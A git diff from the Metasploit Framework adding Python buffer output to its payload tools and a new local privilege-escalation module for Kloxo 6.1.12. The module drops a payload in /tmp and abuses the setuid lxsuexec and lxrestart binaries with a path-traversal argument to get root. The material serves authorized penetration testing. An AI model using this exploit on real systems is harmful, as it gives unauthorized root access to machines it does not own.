diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 13d26ab7c6..3e2b0aff30 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -22,6 +22,8 @@ module Buffer def self.transform(buf, fmt = "ruby") case fmt when 'raw' + when 'python', 'py' + buf = Rex::Text.to_python(buf) when 'ruby', 'rb' buf = Rex::Text.to_ruby(buf) when 'perl', 'pl' @@ -50,7 +52,7 @@ module Buffer def self.comment(buf, fmt = "ruby") case fmt when 'raw' - when 'ruby', 'rb' + when 'ruby', 'rb', 'python', 'py' buf = Rex::Text.to_ruby_comment(buf) when 'perl', 'pl' buf = Rex::Text.to_perl_comment(buf) @@ -73,7 +75,7 @@ module Buffer # Returns the list of supported formats # def self.transform_formats - ['raw','ruby','rb','perl','pl','bash','sh','c','js_be','js_le','java'] + ['raw','ruby','rb','perl','pl','bash','sh','c','js_be','js_le','java','python','py'] end end diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 8e44162687..394662654e 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -120,8 +120,9 @@ module Auxiliary::Web end # Matches fingerprint pattern against the current page's body and logs matches - def match_and_log_fingerprint( fingerprint ) - page.body.to_s.match( fingerprint ) && log_fingerprint( :fingerprint => fingerprint ) + def match_and_log_fingerprint( fingerprint, options = {} ) + return if (match = page.body.to_s.match( fingerprint ).to_s).empty? + log_fingerprint( options.merge( :fingerprint => match ) ) end # @@ -187,8 +188,10 @@ module Auxiliary::Web report_web_vuln( info ) + opts[:print_fingerprint] = true if !opts.include?( :print_fingerprint ) + print_good " FOUND(#{mode.to_s}) URL(#{location})" - print_good " PROOF(#{opts[:fingerprint]})" + print_good " PROOF(#{opts[:fingerprint]})" if opts[:print_fingerprint] end def log_resource( opts = {} ) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 35820b9399..f8398ddc26 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -103,6 +103,13 @@ module Text return hexify(str, wrap, '"', '" .', "my $#{name} = \n", '";') end + # + # Converts a raw string into a python buffer + # + def self.to_python(str, wrap = DefaultWrap, name = "buf") + return hexify(str, wrap, "#{name} += \"", '"', "#{name} = \"\"\n", '"') + end + # # Converts a raw string into a Bash buffer # diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb new file mode 100644 index 0000000000..6605bc7380 --- /dev/null +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -0,0 +1,111 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/exploit/local/linux' +require 'msf/core/exploit/exe' + +class Metasploit4 < Msf::Exploit::Local + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + include Msf::Exploit::FileDropper + + include Msf::Exploit::Local::Linux + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Kloxo Local Privilege Escalation', + 'Description' => %q{ + Version 6.1.12 and earlier of Kloxo contain two setuid root binaries such as + lxsuexec and lxrestart, allow local privilege escalation to root from uid 48, + Apache by default on CentOS 5.8, the operating system supported by Kloxo. + This module has been tested successfully with Kloxo 6.1.12 and 6.1.6. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'HTP', # Original PoC according to exploit-db + 'juan vazquez' # Metasploit module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell' ], + 'Payload' => + { + 'Space' => 8000, + 'DisableNops' => true + }, + 'References' => + [ + [ 'EDB', '25406' ], + [ 'URL', 'http://roothackers.net/showthread.php?tid=92' ] # post referencing the vulnerability and PoC + ], + 'Targets' => + [ + [ 'Kloxo 6.1.12', {} ] + ], + 'DefaultOptions' => + { + 'PrependSetuid' => true + }, + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => "Sep 18 2012" + })) + end + + def exploit + # apache uid (48) is needed in order to abuse the setuid lxsuexec binary + # .text:0804869D call _getuid + # .text:080486A2 cmp eax, 48 + # .text:080486A5 jz short loc_80486B6 // uid == 48 (typically apache on CentOS) + # .text:080486A7 mov [ebp+var_A4], 0Ah + # .text:080486B1 jmp loc_8048B62 // finish if uid != 48 + # .text:08048B62 loc_8048B62: ; CODE XREF: main+39j + #.text:08048B62 ; main+B0j + #.text:08048B62 mov eax, [ebp+var_A4] + #.text:08048B68 add esp, 0ECh + #.text:08048B6E pop ecx + #.text:08048B6F pop esi + #.text:08048B70 pop edi + #.text:08048B71 pop ebp + #.text:08048B72 lea esp, [ecx-4] + #.text:08048B75 retn + #.text:08048B75 main endp + print_status("Checking actual uid...") + id = cmd_exec("id -u") + if id != "48" + fail_with(Exploit::Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this") + end + + # Write msf payload to /tmp and give provide executable perms + pl = generate_payload_exe + payload_path = "/tmp/#{rand_text_alpha(4)}" + print_status("Writing payload executable (#{pl.length} bytes) to #{payload_path} ...") + write_file(payload_path, pl) + register_file_for_cleanup(payload_path) + + # Profit + print_status("Exploiting...") + cmd_exec("chmod +x #{payload_path}") + cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`") + cmd_exec("export MUID=$LXLABS") + cmd_exec("export GID=$LXLABS") + cmd_exec("export TARGET=/bin/sh") + cmd_exec("export CHECK_GID=0") + cmd_exec("export NON_RESIDENT=1") + helper_path = "/tmp/#{rand_text_alpha(4)}" + write_file(helper_path, "/usr/sbin/lxrestart '../../..#{payload_path} #'") + register_file_for_cleanup(helper_path) + cmd_exec("lxsuexec #{helper_path}") + end + +end diff --git a/msfpayload b/msfpayload index a3b498279a..c5e65c3c06 100755 --- a/msfpayload +++ b/msfpayload @@ -30,7 +30,7 @@ $args = Rex::Parser::Arguments.new( # def usage $stderr.puts("\n" + - " Usage: #{$0} [] [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>\n" + + " Usage: #{$0} [] [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + $args.usage) exit end @@ -119,7 +119,7 @@ end payload.datastore.merge! options -if (cmd =~ /^(p|y|r|d|c|j|x|b|v|w)/) +if (cmd =~ /^(p|y|r|d|c|j|x|b|v|w|n)/) fmt = 'perl' if (cmd =~ /^p/) fmt = 'ruby' if (cmd =~ /^y/) fmt = 'raw' if (cmd =~ /^(r|x|d)/) @@ -129,6 +129,7 @@ if (cmd =~ /^(p|y|r|d|c|j|x|b|v|w)/) fmt = 'js_le' if (cmd =~ /^j/ and ! fmt) fmt = 'java' if (cmd =~ /^b/) fmt = 'raw' if (cmd =~ /^w/) + fmt = 'python' if (cmd =~ /^n/) enc = options['ENCODER'] begin